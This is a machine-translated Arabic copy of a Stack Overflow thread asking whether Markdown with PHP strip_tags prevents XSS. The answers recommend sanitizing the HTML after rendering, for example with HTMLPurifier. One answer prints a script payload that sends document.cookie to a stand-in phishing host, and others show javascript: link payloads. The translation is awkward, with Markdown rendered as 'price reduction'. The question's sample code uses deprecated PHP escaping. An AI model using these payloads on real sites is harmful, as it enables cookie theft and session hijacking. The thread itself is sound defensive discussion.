هو تخفيض السعر (مع strip_tags) كافية لوقف هجمات XSS?

StackOverflow https://stackoverflow.com/questions/1226406

  •  22-07-2019
  •  | 
  •  

سؤال

أنا أعمل على تطبيق ويب التي تسمح للمستخدمين بكتابة وصف قصير من العناصر الموجودة في كتالوج.أنا مما يتيح تخفيض السعر في textareas بحيث يمكن للمستخدمين القيام ببعض تنسيق HTML.

رسالتي الإبراء وظيفة شرائط كل فئة من أي إدخال النص قبل إدخالها في قاعدة البيانات:

public function sanitizeText($string, $allowedTags = "") {
    $string = strip_tags($string, $allowedTags);

    if(get_magic_quotes_gpc()) {
        return mysql_real_escape_string(stripslashes($string));
    } else {
        return mysql_real_escape_string($string);
    }
}

أساسا, كل ما أنا تخزينها في قاعدة البيانات هو تخفيض السعر-لا غيرها HTML, حتى HTML الأساسية (مثل هنا في ذلك) هو مسموح به.

سوف يسمح تخفيض السعر الحالي أي الامنية ؟ يمكن تخفيض السعر يكون XSSed ، على الرغم من أنه لا يوجد لديه العلامات ؟

هل كانت مفيدة؟

المحلول

أعتقد تجريد أي علامة HTML من المدخلات سوف تحصل على شيء آمن جدا -- إلا إذا كان شخص ما تجد وسيلة لحقن بعض اخفقت البيانات في تخفيض السعر ، وقد تولد بعض أكثر فوضى الانتاج ^^

لا يزال هنا نوعان من الأشياء التي تتبادر إلى ذهني :

أول واحد : strip_tags ليس معجزة دالة :لديه بعض العيوب...
على سبيل المثال, سوف غزة كل شيء بعد '<'،في حالة مثل هذا واحد :

$str = "10 appels is <than 12 apples";
var_dump(strip_tags($str));

الإخراج أحصل :

string '10 appels is ' (length=13)

التي ليست لطيفة للمستخدمين :-(


الثانية : يوم واحد أو آخر ، قد تريد أن تسمح بعض علامات HTML/الصفات ؛ أو حتى اليوم ، قد تريد أن تتأكد من أن تخفيض السعر لا تولد بعض علامات HTML/سمات.

كنت قد تكون مهتمة بشيء من هذا القبيل HTMLPurifier :فإنه يسمح لك لتحديد العلامات والصفات التي يجب أن تبقى ، والمرشحات سلسلة ، بحيث فقط تلك التي لا تزال قائمة.

كما يولد HTML صالح-الذي هو دائما لطيفة ;-)

نصائح أخرى

وهنا مثال جميل لماذا تحتاج إلى تطهير وHTML بعد، وليس قبل:

وكود تخفيض السعر:

>  <script type="text/javascript"
>  language="js">i=new Image\(\); i.src='http://phishingwebsite.example.com/?l='
> + escape\(window.location\) + '&c=' + escape\(document.cookie\);
> </script>
>

والمعادين على النحو التالي:

<blockquote> 
<p><script type="text/javascript"
 language="js">i=new Image(); i.src='http://phishingwebsite.example.com/?l='
+ escape(window.location) + '&amp;c=' + escape(document.cookie);
</script></p> 
</blockquote> 

والآن أنت قلق؟

والتعقيم وHTML الناتج بعد مما يجعل تخفيض السعر سيكون الأكثر أمانا. إذا لم تقم بذلك، وأعتقد أن الناس سوف يكون قادرا تنفيذ جافا سكريبت التعسفي في تخفيض السعر مثل ذلك:

[Click me](javascript:alert\('Gotcha!'\);)

وPHP تخفيض السعر تحويل هذا إلى:

<p><a href="javascript:alert&#40;'Gotcha!'&#41;;">Click me</a></p>

والتي لا وظيفة. ... ولا حتى التفكير في البدء في إضافة في التعليمات البرمجية لرعاية هذه الحالات. الإبراء الصحيح ليست سهلة، ومجرد استخدام أداة جيدة وتطبيقه بعد تقديم تخفيض السعر الخاص بك إلى HTML.

<اقتباس فقرة>   

هل يسمح تخفيض السعر الحاضر أي   التهديدات الأمنية؟ يمكن تخفيض السعر يكون   XSSed، على الرغم من أنه لا يوجد لديه علامات؟

وانه من المستحيل تقريبا في الإدلاء ببيانات المطلقة في هذا الصدد - من يستطيع أن يقول ما يمكن خداع محلل تخفيض السعر إلى بمساهمة تالف بما فيه الكفاية

ولكن الخطر هو على الارجح منخفضة للغاية، نظرا لأنه هو جملة بسيطة نسبيا. فإن زاوية الأكثر وضوحا من الهجوم أن يكون جافا سكريبت: محددات مواقع المعلومات في الروابط والصور - ربما لا يسمح به محلل، ولكن هذا شيء كنت تحقق من

ولا. الطريقة التي تستخدم تخفيض السعر ليست آمنة. تخفيض السعر يمكن استخدامها بشكل آمن، ولكن لديك لاستخدام ذلك الحق. للحصول على تفاصيل حول كيفية استخدام تخفيض السعر بشكل آمن، والنظر هنا . أنظر الرابط لمزيد من التفاصيل حول كيفية استخدامها بأمان، ولكن النسخة القصير هو: من المهم استخدام أحدث إصدار، لتعيين safe_mode، ووضع enable_attributes=False

ويوضح صلة أيضا لماذا الهروب من الإدخال ثم استدعاء تخفيض السعر (كما كنت تفعل) ليست كافية لتكون آمنة. المثال قصيرة: "[clickme](javascript:alert%28%22xss%22%29)"

.

والكود يوفر المزيد من الأمان لأنك توليد العلامات.

إذا يسمح، وهذا سوف تذهب مباشرة من خلال strip_tags.!) بام

وأنا أتفق مع باسكال MARTIN أن HTML الإبراء هو نهج أفضل. إذا كنت تريد أن تفعل ذلك تماما في جافا سكريبت أقترح أن نلقي نظرة على الإبراء جوجل-كاجا ل مكتبة (<لأ href = "http://www.google.com/codesearch/p؟hl=en#wBZsFl6bRv8/trunk/src/com/google/caja/plugin/html-sanitizer.js&q=html -sanitizer.js٪ 20package٪ 3ahttp: //google-caja٪5C.googlecode٪5C.com&sa=N&cd=1&ct=rc "يختلط =" نوفولو "> شفرة المصدر)

مرخصة بموجب: CC-BY-SA مع الإسناد
لا تنتمي إلى StackOverflow
scroll top